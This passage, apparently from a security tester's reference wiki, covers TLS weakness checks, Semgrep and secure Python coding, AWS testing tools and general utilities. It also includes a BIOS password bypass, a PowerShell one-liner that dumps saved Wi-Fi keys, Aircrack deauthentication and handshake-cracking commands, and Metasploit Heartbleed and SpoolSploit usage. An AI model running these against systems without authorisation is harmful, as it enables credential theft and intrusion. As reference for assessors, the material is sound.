* Diffie-Hellman Group: 16
* Encryption: AES-256
* Hash: SHA-384

Furthermore, many vendors also support configuring multiple IPsec policies; however, these policies are normally explicitly configured for a specific VPN. It is recommended to utilize the strongest FIPS-validated cryptography suites supported by the device. Similar to ISAKMP/IKE, the recommended IPsec setting as per CNSSP is as follows:

* Encryption: AES-256
* Hash: SHA-384
* Block Cipher Mode: CBC


# Locked BIOS Password Bypass

You can use the following to generate BIOS password/code:

{% embed url="<https://bios-pw.org/>" %}

## Important:

{% hint style="warning" %}
**Ctrl+Enter** must be pressed in the BIOS menu after you enter the site-generated password! This is very important because previous attempts failed exactly because I pressed Enter in the BIOS, not Ctrl+Enter, for the same password!
{% endhint %}

Also, I found valuable instructions in this video: <https://youtu.be/WS65KqtBx5Q>


# Wireless Security


# Cached Wireless Keys

A Powershell one liner to retrieve all the WiFi passwords stored on a computer:

### Windows:

```
$a = netsh.exe wlan show profiles | Select-String -Pattern ": "; For ($i=1; $i -le $a.length * 2; $i+=2){ $b =  ($a -split "`t" -split ": ")[$i]; $c = netsh.exe wlan show profile name=$b key=clear | Select-String -Pattern "Key Content"; "Network: " + $b + $c}
```


# Aircrack Suite

A quick wireless testing guide using wireless security Aircrack suite.

### Airmon-ng for monitor mode:

```
airmon-ng
airodump-ng wlan0mon
```

### Airodump-ng to scan for BSSIDs:

```
airodump-ng -c [channel] --bssid [bssid] -w /root/Desktop/ [monitor interface]
airodump-ng -c 1 --bssid 80:2A:A8:C4:B2:39 -w /root/Desktop/ wlan0mon
```

### Aireplay-ng to replay packets:

```
aireplay-ng -0 2 -a 80:2A:A8:C4:B2:39 -c 64:A2:F9:18:2F:28 wlan0mon
```

### Airecrack-ng to crack captured handshakes for PSKs:

```
aircrack-ng -a2 -b 80:2A:A8:C4:B2:39 -w [path to wordlist] /root/Desktop/*.cap
```


# SSL/TLS Security

## Downgrade Attack prevention

```
 openssl s_client –tls1 -fallback_scsv -connect example.com:443
```

If your server supports something better than SSLv3 and checks for the presence of the TLS\_FALLBACK\_SCSV cipher, it should abort the connection with an error like the following:

```
 tlsv1 alert inappropriate fallback:s3_pkt.c:1262:SSL alert number 86
```

## Cipher Suites

DES Cipher (Connection should fail):

```
 openssl s_client -cipher DES -connect example.com:443

```

### 3DES Cipher (Connection should fail)

```
 openssl s_client -cipher 3DES -connect example.com:443

```

### Export Cipher (Connection should fail):

```
 openssl s_client -cipher EXPORT -connect example.com:443

```

### Low Cipher (Connection should fail):

```
 openssl s_client -cipher LOW -connect example.com:443

```

### RC4 Cipher (Connection should fail):

```
 openssl s_client -cipher RC4 -connect example.com:443

```

### NULL Cipher (Connection should fail):

```
 openssl s_client -cipher NULL -connect example.com:443

```

### Perfect Forward Secrecy Cipher (Connection should NOT fail):

```
 openssl s_client -cipher EECDH, EDH NULL -connect example.com:443

```

## Renegotiation

### **Secure Renegotiation**

```
 openssl s_client -connect [host]:[port]

```

Testing this should return the following

```
 Secure Renegotiation IS NOT supported

```

### **Client-initiated Renegotiation**

Once the connection is established, the server will wait for us to type the next command. We can write the following two lines in order to initiate a renegotiation by specifying R in the second line, followed by enter or return.

```
 openssl s_client -connect [host]:[port]
 
 HEAD / HTTP/1.0
 R
 <Enter or Return key>

```

A system that does not support client-initiated renegotiation will return an error and end the connection, or the connection will time out. Please note that below is just one of the many different error messages that you can encounter when your renegotiation is blocked.

```
 RENEGOTIATING
 write:errno=104
```

## Logjam

```
 openssl s_client -connect [host]:[port] -cipher "EDH"
```

The DH parameter size used is displayed in the output next to “Server Temp Key”. Please note that you’ll need at least OpenSSL 1.0.2 to display the ‘Sever Temp Key’ parameter.

```
 ---
 No client certificate CA names sent
 Peer signing digest: SHA512
 Server Temp Key: DH, 2048 bits
 ---
 SSL handshake has read 6641 bytes and written 455 bytes
 ---
 New, TLSv1/SSLv3, Cipher is DHE-RSA-AES256-GCM-SHA384
 ...

```

## TLS Service Supports Anonymous DH Key Exchange

```
$ sslscan --xml=sslscan-output.xml [host]:[port]
$ cat sslscan-output.xml | grep -i accept | grep ADH
```

### TLS Insecure Renegotiation Supported

```
$ openssl s_client -connect [host]:[port]
```

Check the output for the following string: "Secure Renegotiation is NOT supported"

Type "R" with a SINGLE carriage return:

```
R
```

If the connection stays open, issue an HTTP request with DOUBLE carriage returns:

```
GET / HTTP/1.0<ENTER><ENTER>
```

If the server replies with some data, it is affected by this issue

### **Determine the server's preferred cipher suite**

Using OpenSSL, we can connect presenting the list of all ciphers:

```
openssl s_client -connect [host]:[port] -cipher 'ALL:COMPLEMENTOFALL'
```

### Output:

```
...
...
SSL-Session:
   Protocol  : TLSv1
   Cipher    : AES128-SHA
...
...
```

### TLS Weak Ciphers Supported

```
sslscan [host]:[port] | grep Accept
```

Any cipher with key length shorter than 128 bit is to be considered weak.

### NULL TLS Ciphers Supported

```
sslscan [host]:[port] > sslscan.out
cat sslscan.out | grep -i null
```

```
openssl s_client -connect [host]:[port] -cipher NULL
```

## CRIME Attack

```
openssl s_client -connect [host]:[port]
OUTPUT:
...
...
Compression: zlib compression
Expansion: zlib comprression
...
Compression: 1 (zlib compression)
```

or the one-liner:

```
echo -ne "\\n\\n! | openssl s_client -connect [host]:[port] | grep "Compression\\|Expansion"
```

```
openssl s_client -nextprotoneg NULL [host]:[port]
OUTPUT:
CONNECTED(00000003)
Protocols advertised by server: h2, spdy/3.1, http/1.1
...
```

## BREACH Attack

```
 openssl s_client -connect [host]:[port]
```

Submitting the following will allow us to see if HTTP compression is supported by the server.

```
 GET / HTTP/1.1
 Host: [host]
 Accept-Encoding: compress, gzip
```

If the response contains encoded data, similar to the following response, it indicates that HTTP compression is supported; therefore the remote host is vulnerable.

```
 HTTP/1.1 200 OK
 Server: nginx/1.1.19
 Date: Sun, 19 Mar 2015 20:48:31 GMT
 Content-Type: text/html
 Last-Modified: Thu, 19 Mar 2015 23:34:28 GMT
 Transfer-Encoding: chunked
 Connection: keep-alive
 Content-Encoding: gzip

```

A system which does not support deflate or compression will ignore the compress header request and respond with uncompressed data, indicating that it is not vulnerable.

## HeartBleed Attack

```
python hb_test.py [host]:[port]
```

Metasploit has a dedicate module that can be used to exploit the vulnerability:

```
use auxiliary/scanner/ssl/openssl_heartbleed
set RHOST ip_address
set RPORT 443
run
```

Also nmap:

```
nmap -p 443 --script ssl-heartbleed [host]
```

## FREAK Attack

```
nmap --script ssl-enum-ciphers -p 443 www.website.com |grep EXPORT
```

A specific tool can be downloaded from <https://tools.keycdn.com/freak>

## SSL Certificate Expired

```
$openssl s_client -connect [host]:[port]
```

```
...
...
 Not Before: Oct 26:00:00:00 2011 GMT
      Not After: Sep 30 23:59:59 2013 GMT
...
...
```

## SSL Certificate Signed Using Weak Hashing Algorithm

```
$openssl s_client -connect [host]:[port]
```

```
....
....
 Signature Algorithm: sha1WithRSAEncryption
 ...
...
...
```


# Secure Code Review

Secure code review is a manual or automated process that examines an application's source code. The goal of this examination is to identify any existing security flaws or vulnerabilities. Code review


# Python

> <mark style="color:orange;">Taken and summarised from <https://snyk.io/blog/python-security-best-practices-cheat-sheet/></mark>

### Input Sanitisation

* [schema](https://pypi.org/project/schema/) is “a library for validating Python data structures, such as those obtained from config-files, forms, external services or command-line parsing, converted from JSON/YAML (or something else) to Python data-types.
* [bleach](https://pypi.org/project/bleach/) is “an allowed-list-based HTML sanitizing library that escapes or strips markup and attributes.”&#x20;

Major frameworks come with their own sanitation functions, like [Flask](https://flask.palletsprojects.com/en/2.0.x/api/?highlight=escape#flask.escape)’s `flask.escape()` or [Django](https://docs.djangoproject.com/en/2.0/_modules/django/utils/html/)’s `django.utils.html.escape()`. The goal of any of these functions is to secure potentially malicious HTML input like:

```
>>> import bleach
>>> bleach.clean('an XSS <script>navigate(...)</script> example')
'an XSS &lt;script&gt;navigate(...)&lt;/script&gt; example'
```

### SQL Injection&#x20;

A typical example is an [SQL injection](https://snyk.io/learn/sql-injection/). Instead of stitching strings and variables together to generate an SQL query, it is advisable to use named-parameters to tell the database what to treat as a command and what as data.&#x20;

```
# Instead of this …
cursor.execute(f"SELECT admin FROM users WHERE username = '{username}'");
# ...do this...
cursor.execute("SELECT admin FROM users WHERE username = %(username)s", {'username': username}); 
```

Or even better, use Object-Relational Mapping (ORM), such as [sqlalchemy](https://www.sqlalchemy.org/), which would make the example query look like this:

```
query = session.query(User).filter(User.name.like('%{username}'))
```

Here you get more readable code, as well as ORM optimizations like caching, plus more security and performance!

### Usage of Virtual Envrionments

This means that instead of using a global Python version and global Python dependencies for all your projects, you can have project-specific virtual environments that can use their own Python (and Python dependency) versions!

As of Python version 3.5, the use of `venv` is recommended and with version 3.6 `pyvenv` was deprecated.

### Disable Debugging Mode

By default, most frameworks have debugging switched on. For example, Django has it enabled in settings.py. Make sure to switch debugging to `False` in production to prevent leaking sensitive application information to attackers.

### String Formatting

Python has a built-in module named `string`. This module includes the `Template` class, which is used to create template strings.

Consider the following example.

```
from string import Template
greeting_template = Template(“Hello World, my name is $name.”)
greeting = greeting_template.substitute(name=”Hayley”)
```

For the above code, the variable greeting is evaluated as: “Hello World, my name is Hayley.”

This string format is a bit cumbersome because it requires an import statement and is less flexible with types. It also doesn’t evaluate Python statements the way f-strings do. These constraints make template strings an excellent choice when dealing with user input.


# Semgrep

{% embed url="<https://github.com/returntocorp/semgrep>" %}

Semgrep is a fast, open-source, static analysis engine for finding bugs, detecting vulnerabilities in third-party dependencies, and enforcing code standards. Semgrep analyzes code locally on your computer or in your build environment: **code is never uploaded**. [Get started →.](https://github.com/returntocorp/semgrep#getting-started-)

[![Semgrep CLI image](https://raw.githubusercontent.com/returntocorp/semgrep/develop/images/semgrep-scan-cli.jpg)](https://github.com/returntocorp/semgrep#option-1-getting-started-from-the-cli)

#### Language support

Semgrep supports 30+ languages.

| Category     | Languages                                                                                                                                                                     |
| ------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| GA           | C# · Go · Java · JavaScript · JSX · JSON · PHP · Python · Ruby · Scala · Terraform · TypeScript · TSX                                                                         |
| Beta         | Kotlin · Rust                                                                                                                                                                 |
| Experimental | Bash · C · C++ · Clojure · Dart · Dockerfile · Elixir · HTML · Julia · Jsonnet · Lisp · Lua · OCaml · R · Scheme · Solidity · Swift · YAML · XML · Generic (ERB, Jinja, etc.) |

#### Getting started 🚀

1. [From the CLI](https://github.com/returntocorp/semgrep#option-1-getting-started-from-the-cli)
2. [From the Semgrep Cloud Platform](https://github.com/returntocorp/semgrep#option-2-getting-started-from-the-semgrep-cloud-platform-recommended)

For beginners, we recommend starting with the [Semgrep Cloud Platform](https://github.com/returntocorp/semgrep#option-2-getting-started-from-the-semgrep-cloud-platform-recommended) because it provides a visual interface, a demo project, result triaging and exploration workflows, and makes setup in CI/CD fast. Scans are still local and code isn't uploaded. Alternatively, you can also start with the CLI without logging in and navigate the terminal output to run one-off searches.

#### Option 1: Getting started from the CLI

1. Install Semgrep CLI

```
# For macOS
$ brew install semgrep

# For Ubuntu/WSL/Linux/macOS
$ python3 -m pip install semgrep

# To try Semgrep without installation run via Docker
$ docker run --rm -v "${PWD}:/src" returntocorp/semgrep semgrep
```

2. Go to your app's root directory and run `semgrep scan --config auto`. This will scan your project with the default settings.
3. \[Optional, but recommended] Run `semgrep login` to get the login URL for the Semgrep Cloud Platform. Open the login URL in the browser and login.

#### Option 2: Getting started from the Semgrep Cloud Platform (Recommended)

[![Semgrep platform image](https://raw.githubusercontent.com/returntocorp/semgrep/develop/images/semgrep-main-image.jpg)](https://go.semgrep.dev/login-ghrmgo)

1. Register to [semgrep.dev](https://go.semgrep.dev/login-ghrmgo)
2. Explore the demo app
3. Scan your project by navigating to `Projects > Scan New Project > Run scan in CI`
4. Select your version control system and follow the wizard to add your project. After this setup, Semgrep will scan your project after every pull request.
5. \[Optional but recommended] If you want to run Semgrep locally, follow the steps in the CLI section.

#### Notes:

1. Visit [Docs > Running rules](https://semgrep.dev/docs/running-rules/) to learn more about `auto` config and other rules.
2. If there are any issues, please ask in the Smegrep Slack group <https://go.semgrep.dev/slack>
3. To run Semgrep Supply Chain, [contact the Semgrep team](https://semgrep.dev/contact-us). Visit the [full documentation](https://semgrep.dev/docs/getting-started/) to learn more.

#### Semgrep Ecosystem

The Semgrep ecosystem includes the following products:

* Semgrep OSS Engine - The open-source engine at the heart of everything (this project).
* [Semgrep Cloud Platform (SCP)](https://semgrep.dev/login) - Deploy, manage, and monitor SAST and SCA at scale using Semgrep, with [free and paid tiers](https://semgrep.dev/pricing). Integrates with continuous integration (CI) providers such as GitHub, GitLab, CircleCI, and more.
* [Semgrep Code](https://semgrep.dev/products/semgrep-code) - Scan your code with Semgrep's Pro rules and Semgrep Pro Engine to find OWASP Top 10 vulnerabilities and protect against critical security risks specific to your organization. Semgrep Code provides both Community (free) and Team (paid) tiers.
* [Semgrep Supply Chain (SSC)](https://semgrep.dev/products/semgrep-supply-chain) - A high-signal dependency scanner that detects reachable vulnerabilities in open source third-party libraries and functions across the software development life cycle (SDLC). Semgrep Supply Chain is available on Team (paid) tiers.

and:

* [Semgrep Playground](https://semgrep.dev/editor) - An online interactive tool for writing and sharing rules.
* [Semgrep Registry](https://semgrep.dev/explore) - 2,000+ community-driven rules covering security, correctness, and dependency vulnerabilities.

Join hundreds of thousands of other developers and security engineers already using Semgrep at companies like GitLab, Dropbox, Slack, Figma, Shopify, HashiCorp, Snowflake, and Trail of Bits.

Semgrep is developed and commercially supported by [Semgrep, Inc., a software security company](https://semgrep.dev/).

#### Semgrep Rules

Semgrep rules look like the code you already write; no abstract syntax trees, regex wrestling, or painful DSLs. Here's a quick rule for finding Python `print()` statements.

Run it online in Semgrep’s Playground by [clicking here](https://semgrep.dev/s/ievans:print-to-logger).

[![Semgrep rule example for finding Python print() statements](https://raw.githubusercontent.com/returntocorp/semgrep/develop/images/semgrep-example-rules-editor.jpg)](https://semgrep.dev/s/ievans:print-to-logger)

**Examples**

Visit [Docs > Rule examples](https://semgrep.dev/docs/writing-rules/rule-ideas/) for use cases and ideas.

| Use case                          | Semgrep rule                                                                                                                                                                                                                                                                                                                                           |
| --------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| Ban dangerous APIs                | [Prevent use of exec](https://semgrep.dev/s/clintgibler:no-exec)                                                                                                                                                                                                                                                                                       |
| Search routes and authentication  | [Extract Spring routes](https://semgrep.dev/s/clintgibler:spring-routes)                                                                                                                                                                                                                                                                               |
| Enforce the use secure defaults   | [Securely set Flask cookies](https://semgrep.dev/s/dlukeomalley:flask-set-cookie)                                                                                                                                                                                                                                                                      |
| Tainted data flowing into sinks   | [ExpressJS dataflow into sandbox.run](https://semgrep.dev/s/ievans:simple-taint-dataflow)                                                                                                                                                                                                                                                              |
| Enforce project best-practices    | [Use assertEqual for == checks](https://semgrep.dev/s/dlukeomalley:use-assertEqual-for-equality), [Always check subprocess calls](https://semgrep.dev/s/dlukeomalley:unchecked-subprocess-call)                                                                                                                                                        |
| Codify project-specific knowledge | [Verify transactions before making them](https://semgrep.dev/s/dlukeomalley:verify-before-make)                                                                                                                                                                                                                                                        |
| Audit security hotspots           | [Finding XSS in Apache Airflow](https://semgrep.dev/s/ievans:airflow-xss), [Hardcoded credentials](https://semgrep.dev/s/dlukeomalley:hardcoded-credentials)                                                                                                                                                                                           |
| Audit configuration files         | [Find S3 ARN uses](https://semgrep.dev/s/dlukeomalley:s3-arn-use)                                                                                                                                                                                                                                                                                      |
| Migrate from deprecated APIs      | [DES is deprecated](https://semgrep.dev/editor?registry=java.lang.security.audit.crypto.des-is-deprecated), [Deprecated Flask APIs](https://semgrep.dev/editor?registry=python.flask.maintainability.deprecated.deprecated-apis), [Deprecated Bokeh APIs](https://semgrep.dev/editor?registry=python.bokeh.maintainability.deprecated.deprecated_apis) |
| Apply automatic fixes             | [Use listenAndServeTLS](https://semgrep.dev/s/clintgibler:use-listenAndServeTLS)                                                                                                                                                                                                                                                                       |

#### Extensions

Visit [Docs > Extensions](https://semgrep.dev/docs/extensions/) to learn about using Semgrep in your editor or pre-commit. When integrated into CI and configured to scan pull requests, Semgrep will only report issues introduced by that pull request; this lets you start using Semgrep without fixing or ignoring pre-existing issues!

#### Documentation

Browse the full Semgrep [documentation on the website](https://semgrep.dev/docs). If you’re new to Semgrep, check out [Docs > Getting started](https://semgrep.dev/docs/getting-started/) or the [interactive tutorial](https://semgrep.dev/learn).

#### Metrics

Using remote configuration from the [Registry](https://semgrep.dev/r) (like `--config=p/ci`) reports pseudonymous rule metrics to semgrep.dev.

Using configs from local files (like `--config=xyz.yml`) does **not** enable metrics.

To disable Registry rule metrics, use `--metrics=off`.

The Semgrep [privacy policy](https://semgrep.dev/docs/metrics) describes the principles that guide data-collection decisions and the breakdown of the data that are and are not collected when the metrics are enabled.

#### More

* [Frequently asked questions (FAQs)](https://semgrep.dev/docs/faq/)
* [Contributing](https://semgrep.dev/docs/contributing/contributing/)
* [Build instructions for developers](https://github.com/returntocorp/semgrep/blob/develop/INSTALL.md)
* [Ask questions in the Semgrep community Slack](https://go.semgrep.dev/slack)
* [CLI reference and exit codes](https://semgrep.dev/docs/cli-usage)
* [Semgrep YouTube channel](https://www.youtube.com/c/semgrep)
* [License (LGPL-2.1)](https://github.com/returntocorp/semgrep/blob/develop/LICENSE)

#### Upgrading

To upgrade, run the command below associated with how you installed Semgrep:

```
# Using Homebrew
$ brew upgrade semgrep

# Using pip
$ python3 -m pip install --upgrade semgrep

# Using Docker
$ docker pull returntocorp/semgrep:latest
```


# Semgrep to HTML Report

{% embed url="<https://pypi.org/project/prospector2html/>" %}

### prospector

```
pip3 install prospector
pip3 install prospector2html
cd <python-project-sources-dir>
prospector --no-style-warnings --strictness medium --output-format json > prospector_report.json
prospector-html --input prospector_report.json
cat prospector-html-report.html
```

### semgrep

```
pip3 install prospector2html
cd <project-sources-dir>
docker run --rm -v "${PWD}:/src" returntocorp/semgrep:latest semgrep scan --json --output semgrep-native-report.json --config=auto
prospector-html --input semgrep-native-report --output filtered-report.html --filter semgrep
cat filtered-report.html
```

### GitLab CI SAST

```
pip3 install prospector2html
cd <project-sources-dir>
docker run --rm -v "${PWD}:/src" returntocorp/semgrep:latest semgrep ci --gitlab-sast --output gl-sast-report.json --config=auto
prospector-html --input gl-sast-report.json --output filtered-report.json --json --filter gitlab-sast
cat filtered-report.json
```


# Cloud Security


# Cloud Penetration Testing

| **account**        | <p>A formal relationship with AWS that is associated with all of the following:<br></p><ul><li>The owner email address and password</li><li>The control of resources created under its umbrella</li><li>Payment for the AWS activity related to those resources</li></ul>                                                                                                                                                                                                    |
| ------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **allow**          | One of two possible outcomes (the other is deny) when an IAM access policy is evaluated. When a user makes a request to AWS, AWS evaluates the request based on all permissions that apply to the user and then returns either allow or deny.                                                                                                                                                                                                                                |
| `AssumeRolePolicy` | A synonym for the Trust policy.                                                                                                                                                                                                                                                                                                                                                                                                                                              |
| **group**          | A collection of IAM users. You can use IAM groups to simplify specifying and managing permissions for multiple users.                                                                                                                                                                                                                                                                                                                                                        |
| `NotAction`        | An advanced policy element that explicitly matches everything except the specified list of actions.                                                                                                                                                                                                                                                                                                                                                                          |
| **permission**     | A statement within a policy that allows or denies access to a particular resource. You can state any permission like this: "A has permission to do B to C." For example, Jane (A) has permission to read messages (B) from John's Amazon SQS queue (C). Whenever Jane sends a request to Amazon SQS to use John's queue, the service checks to see if she has permission. It further checks to see if the request satisfies the conditions John set forth in the permission. |
| **policy**         | For IAM: A document defining permissions that apply to a user, group, or role; the permissions in turn determine what users can do in AWS. A policy typically allows access to specific actions, and can optionally grant that the actions are allowed for specific resources, like EC2 instances, Amazon S3 buckets, and so on. Policies can also explicitly deny access.                                                                                                   |
| **principal**      | The user, service, or account that receives permissions that are defined in a policy. The principal is A in the statement "A has permission to do B to C."                                                                                                                                                                                                                                                                                                                   |
| **resource**       | An entity that users can work within AWS, such as an EC2 instance, an Amazon DynamoDB table, an Amazon S3 bucket, an IAM user, an AWS OpsWorks stack, and so on.                                                                                                                                                                                                                                                                                                             |
| **role**           | A tool for giving temporary access to AWS resources in your AWS account.                                                                                                                                                                                                                                                                                                                                                                                                     |
| **Trust policy**   | An IAM policy that is an inherent part of an IAM role. The trust policy specifies which principals are allowed to use the role. (Synonym for `AssumeRolePolicy`).                                                                                                                                                                                                                                                                                                            |
| **user**           | A person or application under an account that needs to make API calls to AWS products. Each user has a unique name within the AWS account, and a set of security credentials not shared with other users. These credentials are separate from the AWS account's security credentials. Each user is associated with one and only one AWS account.                                                                                                                             |
| **versioning**     | Every object in Amazon S3 has a key and a version ID. Objects with the same key, but different version IDs can be stored in the same bucket. Versioning is enabled at the bucket layer using PUT Bucket versioning.                                                                                                                                                                                                                                                          |

### PACU

Pacu is an open-source AWS exploitation framework, designed for offensive security testing against cloud environments. Created and maintained by Rhino Security Labs, Pacu allows penetration testers to exploit configuration flaws within an AWS account, using modules to easily expand its functionality. Current modules enable a range of attacks, including user privilege escalation, backdooring of IAM users, attacking vulnerable Lambda functions, and much more.

```
python3 pacu.py
set_keys
```

Enumerate IAM entities using the `iam__enum_users_roles_policies_groups`&#x20;

## CloudEnum

Multi-cloud OSINT tool. Enumerate public resources in AWS, Azure, and Google Cloud.

```
https://github.com/initstring/cloud_enum
```

## Tools

[**actions2aws**](https://github.com/glassechidna/actions2aws) \
Assume AWS IAM roles from GitHub Actions workflows with no stored secrets.\
\
[**rpCheckup**](https://github.com/goldfiglabs/rpCheckup) \
rpCheckup is an AWS resource policy security checkup tool that identifies public, external account access, intra-org account access, and private resources.\
\
[**policy-compliance-scan**](https://github.com/Azure/policy-compliance-scan) \
A GitHub action that scans Azure resources for policy violations.

[**iamlive**](https://github.com/iann0036/iamlive)\
Generate basic AWS IAM policies using client-side monitoring of calls made from the AWS CLI or SDKs.\
\
[**iam-role-enumeration**](https://gist.github.com/kmcquade/4d5788f8592953f5a3a65ec3f87385b4)\
Another way to enumerate AWS IAM users/roles without being authenticated to the victim account.\
\
[**cloudlist**](https://github.com/projectdiscovery/cloudlist)\
Cloudlist is a tool for listing Assets (Hostnames, IP Addresses) from multiple Cloud Providers.\
\
[**kctf**](https://github.com/google/kctf)\
kCTF is a Kubernetes-based infrastructure for CTF competitions.


# Social Engineering


# Simulated Phishing


# GoPhish


# Tool Usage

This section consists of a set usage instructions or commands relating to a bunch of tools or scripts that are frequently used as part of security assessments.

The tools and scripts are usually used as part of security assessments. I found myself googling commands for specific tasks I wanted to be achieved on that tool and hence compiled these for ease of access instead of going through their documentation or help/manual pages repetitively.


# Docker

### Pulling an image on Docker:

On your host box, run the command.

```
sudo docker pull centos:latest
```

### To see all the Docker images installed, issue the command:

```
sudo docker images
```

### To start the docker pulled CentOS, we need to issue a command to the OS to get a thread started. We can do this by running the following command:

```
sudo docker run -it centos /bin/bash
```

The above command does the following things −

* Runs the CentOS Docker image.
* Runs the image in interactive mode by using the **-it** option.
* Runs the **/bin/bash** command as the initial process.

## **Docker Example Building and Usage:**

### Clone this repository

```
git clone https://github.com/BeetleChunks/SpoolSploit
```

### Build the SpoolSploit Docker container image

```
cd SpoolSploit
sudo docker build -t spoolsploit .
```

### Create and start the SpoolSploit Docker container

```
sudo docker run -dit -p 445:445 --name spoolsploit spoolsploit:latest
```

### Attach to the container

```
sudo docker exec -it spoolsploit /bin/bash
```

### Docker Compose

```
$ cd <project directory>

$ docker compose up -d
```


# Split

The split command or utility allows you to split by lines, size or the number of smaller files you need. Another related utility is csplit than can also be used.

### Split files based on # of lines

Let’s say we want to split the file into several files based on a predetermined number of lines. This works best if the file contains lines separated by the end of line character, as it usually does. Let’s split our big file (eg. *bigfile.txt*) into files with 275 lines each.

```
$ split -l 275 bigfile.txt
```

This will split the files into several files, named *xaa*, *xab*, *xac* etc. each of which contain 275 lines each. If you don’t specify the number of lines (*-l*) then the default is 1000. The default for the output file prefix is *x* in most cases. I usually like to specify a prefix that ends with “-“, but that is upto you.

```
$ split -l 275 bigfile.txt smallfile-
```

If you prefer numerical suffixes instead of the character suffixes in the output, use the *-d* option with the command.

```
$ split -l 275 -d bigfile.txt smallfile-
```

Sometimes, you want a specific extension for your files such as *.txt*. You can do this using the command line option *–additional-suffix*

```
$ split -l 275 -d bigfile.txt smallfile- --additional-suffix=.txt
```

### Split files based on size

Let’s say we want to divide the file into several files each of which is 5k in size. You can specify the size in bytes, kilobytes, mega bytes etc. as well.

```
$ split -b 5k bigfile.txt smallfile-
```

### Split into specific number of files

If you want to split the file into 2 equally sized files, then you can do something like this:

```
$ split -n 2 -d bigfile.txt smallfile-

```

Of course, to split it in to even more number of files you specify the number with the *-n* option. One issue with splitting it like this is that it could cause the lines to be split between the files. In most cases, you want the lines to be preserved so that the entire line is within the same output file.

```
$ split -n l/10 -d bigfile.txt smallfile-

```

The above example will split the file into 10 equally sized files while preserving the lines. That means that lines will not be split between files. The value or argument is a lowercase L, just to be clear.

Sometimes, you want just part of the file and not the entire file. For example, if you want to split the file into 4 equal parts but is only interested in the 3rd section or part, then you could do something like:

```
$ split -n l/3/4 bigfile.txt > myfile.txt
```

### Split based on content

Another common use case is when you want to split based on the content of the file. This is a specialized use case, but can be very useful. The utility named **csplit** can be used to split files into sections determined by the context or content of the lines.

The generic syntax of the ***csplit*** command is

```
$ csplit [options] <source file> <regex expression>

```

So, as an example if you want to split a file when you encounter the text or line *Error*, then you could do…

```
$ csplit -k bigfile.txt '/^Error/' {*}

```

The above command will split the file whenever it finds a line that starts with the word *Error*. The argument *‘/^Error/’* is the regular expression we are matching against. The next argument **{\*}** specifies how many times the match should be repeated. The argument *‘{\*}’* specifies that it will repeated till the end of file.


# PhantomJS

## How to install PhantomJS on Ubuntu

First, install or update to the latest system software.

```
sudo apt-get update
sudo apt-get install build-essential chrpath libssl-dev libxft-dev
```

Install these packages needed by PhantomJS to work correctly.

```
sudo apt-get install libfreetype6 libfreetype6-dev
sudo apt-get install libfontconfig1 libfontconfig1-dev
```

Get it from the [PhantomJS website](http://phantomjs.org/).

```
cd Downloads
wget https://bitbucket.org/ariya/phantomjs/downloads/phantomjs-2.1.1-linux-x86_64.tar.bz2
export PHANTOM_JS="phantomjs-2.1.1-linux-x86_64"
sudo tar xvjf $PHANTOM_JS.tar.bz2
```

Once downloaded, move Phantomjs folder to `/usr/local/share/` and create a symlink:

```
sudo mv $PHANTOM_JS /usr/local/share
sudo ln -sf /usr/local/share/$PHANTOM_JS/bin/phantomjs /usr/local/bin
```

**On Kali you might receive an OpenSSL error, quick fix to this is as follows:**

**Create an empty openssl.cnf file and set environment variable to use it.**

```
touch /tmp/openssl.cnf 
```

```
export OPENSSL_CONF="/tmp/openssl.cnf"
```

Now, It should have PhantomJS properly on your system.

```
phantomjs --version
```


# Aquatone

Aquatone is a tool for visual inspection of websites across a large amount of hosts and is convenient for quickly gaining an overview of HTTP-based attack surface.

### Download the latest compiled version:

{% embed url="<https://github.com/michenriksen/aquatone/releases>" %}

Install Google Chrome or Chromium browser -- Note: Google Chrome is currently giving unreliable results when running in headless mode, so it is recommended to install Chromium for the best results.

```
sudo apt install chromium
```

### Usage:

```
cat targets.txt | aquatone
```

#### Aquatone also supports aliases of built-in port lists to make it easier for you:

```
small: 80, 443
medium: 80, 443, 8000, 8080, 8443 (same as default)
large: 80, 81, 443, 591, 2082, 2087, 2095, 2096, 3000, 8000, 8001, 8008, 8080, 8083, 8443, 8834, 8888
xlarge: 80, 81, 300, 443, 591, 593, 832, 981, 1010, 1311, 2082, 2087, 2095, 2096, 2480, 3000, 3128, 3333, 4243, 4567, 4711, 4712, 4993, 5000, 5104, 5108, 5800, 6543, 7000, 7396, 7474, 8000, 8001, 8008, 8014, 8042, 8069, 8080, 8081, 8088, 8090, 8091, 8118, 8123, 8172, 8222, 8243, 8280, 8281, 8333, 8443, 8500, 8834, 8880, 8888, 8983, 9000, 9043, 9060, 9080, 9090, 9091, 9200, 9443, 9800, 9981, 12443, 16080, 18091, 18092, 20720, 28017
```

### Example:

```
cat hosts.txt | aquatone -ports large
```

### Nmap or Masscan

Aquatone can make a report on hosts scanned with the Nmap or Masscan portscanner. Simply feed Aquatone the XML output and give it the -nmap flag to tell it to parse the input as Nmap/Masscan XML:

```
 cat scan.xml | aquatone -nmap
```


# Tmux

start new:

```
tmux
```

start new with session name:

```
tmux new -s myname
```

attach:

```
tmux a  #  (or at, or attach)
```

attach to named:

```
tmux a -t myname
```

list sessions:

```
tmux ls
```

kill session:

```
tmux kill-session -t myname
```

Kill all the tmux sessions:

```
tmux ls | grep : | cut -d. -f1 | awk '{print substr($1, 0, length($1)-1)}' | xargs kill
```

In tmux, hit the prefix `ctrl+b` (my modified prefix is ctrl+a) and then:

### List all shortcuts

to see all the shortcuts keys in tmux simply use the `bind-key ?` in my case that would be `CTRL-B ?`

### Sessions

```
:new<CR>  new session
s  list sessions
$  name session
```

### Windows (tabs)

```
c  create window
w  list windows
n  next window
p  previous window
f  find window
,  name window
&  kill window
```

### Panes (splits)

```
%  vertical split
"  horizontal split

o  swap panes
q  show pane numbers
x  kill pane
+  break pane into window (e.g. to select text by mouse to copy)
-  restore pane from window
⍽  space - toggle between layouts
<prefix> q (Show pane numbers, when the numbers show up type the key to goto that pane)
<prefix> { (Move the current pane left)
<prefix> } (Move the current pane right)
<prefix> z toggle pane zoom
```

### Sync Panes

You can do this by switching to the appropriate window, typing your Tmux prefix (commonly Ctrl-B or Ctrl-A) and then a colon to bring up a Tmux command line, and typing:

```
:setw synchronize-panes
```


# Ipainstaller

A tool to pull IPA files from an iOS device

